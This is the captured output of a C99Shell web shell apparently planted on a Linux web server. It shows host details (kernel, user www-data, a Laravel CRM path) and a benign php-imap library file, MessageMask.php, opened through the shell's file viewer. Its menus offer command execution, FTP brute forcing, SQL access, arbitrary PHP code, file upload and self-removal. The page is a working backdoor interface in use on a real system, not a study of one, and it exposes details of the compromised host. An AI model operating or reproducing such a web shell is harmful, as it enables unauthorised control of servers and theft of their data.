!C99Shell v. 2.5 [PHP 8 Update] [24.05.2025]!

Software: Apache/2.4.41 (Ubuntu). PHP/8.0.30 

uname -a: Linux apirnd 5.4.0-204-generic #224-Ubuntu SMP Thu Dec 5 13:38:28 UTC 2024 x86_64 

uid=33(www-data) gid=33(www-data) groups=33(www-data) 

Safe-mode: OFF (not secure)

/var/www/html/laravel-crm/vendor/webklex/php-imap/src/Support/Masks/   drwxrwxrwx
Free 13.08 GB of 57.97 GB (22.57%)
Home    Back    Forward    UPDIR    Refresh    Search    Buffer    Encoder    Tools    Proc.    FTP brute    Sec.    SQL    PHP-code    Update    Self remove    Logout    


Viewing file:     MessageMask.php (2.19 KB)      -rw-rw-rw-
Select action/file-type:
(+) | (+) | (+) | Code (+) | Session (+) | (+) | SDB (+) | (+) | (+) | (+) | (+) | (+) |
<?php
/*
* File: MessageMask.php
* Category: Mask
* Author: M.Goldenbaum
* Created: 14.03.19 20:49
* Updated: -
*
* Description:
*  -
*/

namespace Webklex\PHPIMAP\Support\Masks;

use 
Webklex\PHPIMAP\Attachment;
use 
Webklex\PHPIMAP\Message;

/**
 * Class MessageMask
 *
 * @package Webklex\PHPIMAP\Support\Masks
 */
class MessageMask extends Mask {

    
/** @var Message $parent */
    
protected mixed $parent;

    
/**
     * Get the message html body
     *
     * @return null
     */
    
public function getHtmlBody(){
        
$bodies $this->parent->getBodies();
        if (!isset(
$bodies['html'])) {
            return 
null;
        }

        if(
is_object($bodies['html']) && property_exists($bodies['html'], 'content')) {
            return 
$bodies['html']->content;
        }
        return 
$bodies['html'];
    }

    
/**
     * Get the Message html body filtered by an optional callback
     * @param callable|null $callback
     *
     * @return string|null
     */
    
public function getCustomHTMLBody(?callable $callback null): ?string {
        
$body $this->getHtmlBody();
        if(
$body === null) return null;

        if (
$callback !== null) {
            
$aAttachment $this->parent->getAttachments();
            
$aAttachment->each(function($oAttachment) use(&$body$callback) {
                
/** @var Attachment $oAttachment */
                
if(is_callable($callback)) {
                    
$body $callback($body$oAttachment);
                }elseif(
is_string($callback)) {
                    
call_user_func($callback, [$body$oAttachment]);
                }
            });
        }

        return 
$body;
    }

    
/**
     * Get the Message html body with embedded base64 images
     * the resulting $body.
     *
     * @return string|null
     */
    
public function getHTMLBodyWithEmbeddedBase64Images(): ?string {
        return 
$this->getCustomHTMLBody(function($body$oAttachment){
            
/** @var Attachment $oAttachment */
            
if ($oAttachment->id) {
                
$body str_replace('cid:'.$oAttachment->id'data:'.$oAttachment->getContentType().';base64, '.base64_encode($oAttachment->getContent()), $body);
            }

            return 
$body;
        });
    }
}

:: Command execute ::

Enter:
 
Select:
 

:: Search ::
  - regexp 

:: Upload ::
 
[ ok ]

:: Make Dir ::
 
[ ok ]
:: Make File ::
 
[ ok ]

:: Go Dir ::
 
:: Go File ::
 

--[ c99shell v. 2.5 [PHP 8 Update] [24.05.2025] | Generation time: 0.0191 ]--